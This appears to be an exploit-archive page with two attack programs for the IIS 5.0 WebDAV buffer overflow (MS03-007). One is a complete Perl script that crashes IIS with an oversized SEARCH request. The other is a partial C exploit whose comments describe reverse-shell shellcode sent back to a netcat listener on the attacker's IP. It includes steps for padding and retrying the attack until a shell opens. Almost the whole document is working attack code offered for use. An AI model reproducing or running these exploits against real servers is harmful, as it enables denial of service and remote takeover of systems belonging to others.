Generic Exploit:
The following exploit code will jump to EIP address of unicode equivelent of 0x41414141 (e.g. 0x0041004100)
#!/usr/bin/perl -w
# Tested on :
# W2K SP3 + the fix -> IIS issues an error
# W2K SP3 -> IIS temporarily crashes
# W2K SP2 -> IIS temporarily crashes
# W2K SP1 -> IIS does not crash, but issues a message
# about an internal error
#
# W2K -> IIS does not crash, but issues a message about
# an internal error
#
# Microsoft Security Bulletin MS03-007
#
# DISCLAIMER:
# The information in this bulletin is provided "AS IS" without warranty of any kind.
# In no event shall we be liable for any damages whatsoever including direct, indirect,
# incidental, consequential, loss of business profits or special damages.
#
# Coded by Matrix - www.infowarfare.dk
#
# If you put a debugger on the Inetinfo process you can see the result,
# And sorry about the code could be much more nice, but fuck, it works =)
#
use strict;
use IO::Socket;
use LWP::Simple;
# Globals Go Here.
my $host; # Host being probed.
my $port; # Webserver port.
my $Buffer; # A x 65535
my $XMLShit; # XML Request
$Buffer = "A" x 65535;
$Host_Header = "Host: 127.0.0.1\r\nContent-type: text/xml\r\nContent-Length: 133\r\n";
$XMLShit = "<?xml version=\"1.0\"?> \r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n";
# SUBROUTINES GO HERE.
&intro;
&scan;
&exit; # Play safe with this .
sub intro {
&host;
sleep 3;
};
# host subroutine.
sub host {
system('cls');
print "\n WebDAV OverFlow for IIS 5.0 by Matrix.";
print "\n http://www.infowarfare.dk";
print "\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "\n Host : ";
$host=<STDIN>;
chomp $host;
if ($host eq ""){$host="127.0.0.1"};
print "\n Port : ";
$port=<STDIN>;
chomp $port;
if ($port =~/\D/ ){$port="80"};
if ($port eq "" ) {$port = "80"};
}; # end host subroutine.
# scan subroutine.
sub scan {
print "\n\n";
print "\nIIS 5.0 WebDAV BufferOverflow attack - $host on port $port ...";
print "\n";
&connect;
};
# Connect subroutine.
sub connect {
my $connection = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Could not connect to
$host \n";
$connection -> autoflush(1);
# It is here we put it all together and Flush the Buffer
print $connection "SEARCH /$Buffer HTTP/1.1\r\n$Host_Header\r\n$XMLShit\r\n";
close $connection;
}; # end connect subroutine.
# exit subroutine.
sub exit{
print "\n\n\n";
exit;
};
Shellcode Exploit:
/*******************************************************************/
/* [Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt] */
/* --------------------------------------------------------------- */
/* this is the exploit for ntdll.dll through WebDAV. */
/* run a netcat ex: nc -L -vv -p 666 */
/* wb server.com your_ip 666 0 */
/* the shellcode is a reverse remote shell */
/* you need to pad a bit.. the best way I think is launching */
/* the exploit with pad = 0 and after that, the server will be */
/* down for a couple of seconds, now retry with pad at 1 */
/* and so on..pad 2.. pad 3.. if you haven't the shell after */
/* something like pad at 10 I think you better to restart from */
/* pad at 0. On my local IIS the pad was at 1 (0x00110011) but */
/* on all the others servers it was at 2,3,4, etc..sometimes */
/* you can have the force with you, and get the shell in 1 try */
/* sometimes you need to pad more than 10 times ;) */
/* the shellcode was coded by myself, it is SEH + ScanMem to */
/* find the famous offsets (GetProcAddress).. */
/* I know I code like a pig, my english sucks, and my tech too */
/* it is my first exploit..and my first shellcode..sorry :P */
/* if you have comments feel free to mail me at: */
/* mailto: kralor@coromputer.net */
/* or visit us at www.coromputer.net . You can speak with us */
/* at IRC undernet channel #coromputer */
/* ok now the greetz: */
/* [El0d1e] to help me find some information about the bug :) */
/* tuck_ to support me ;) */
/* and all my friends in coromputer crew! hein les poulets! =) */
/*******************************************************************/
if ((connect(s, (struct sockaddr *) &crpt, sizeof(crpt))) == -1){
printf("ERROR\r\n");
return;
}
// No Operation.
for(i=0;i<sizeof(buffer);buffer[i]=(char)0x90,i++);
// fill the buffer with the shellcode
for(i=64000,j=0;i<sizeof(buffer)&&j<sizeof(shellc0de)-1;buffer[i]=shellc0de[j],i++,j++);
// well..it is not necessary..
for(i=0;i<2500;buffer[i]=PAD,i++);
/* we can simply put our ret in this 2 offsets.. */
//buffer[2086]=PAD;
//buffer[2085]=PAD;
buffer[sizeof(buffer)]=0x00;
memset(request,0,sizeof(request));
memset(data,0,sizeof(data));
sprintf(request,"SEARCH /%s HTTP/1.1\r\nHost: %s\r\nContent-type: text/xml\r\nContent-Length: ",buffer,argv[1]);
sprintf(request,"%s%d\r\n\r\n",request,strlen(content));
printf("CONNECTED\r\nSending evil request... ");
send(s,request,strlen(request),0);
send(s,content,strlen(content),0);
printf("SENT\r\n");
recv(s,data,sizeof(data),0);
if(data[0]!=0x00) {
printf("Server seems to be patched.\r\n");
printf("data: %s\r\n",data);
} else
printf("Now if you are lucky you will get a shell.\r\n");
closesocket(s);
return;
}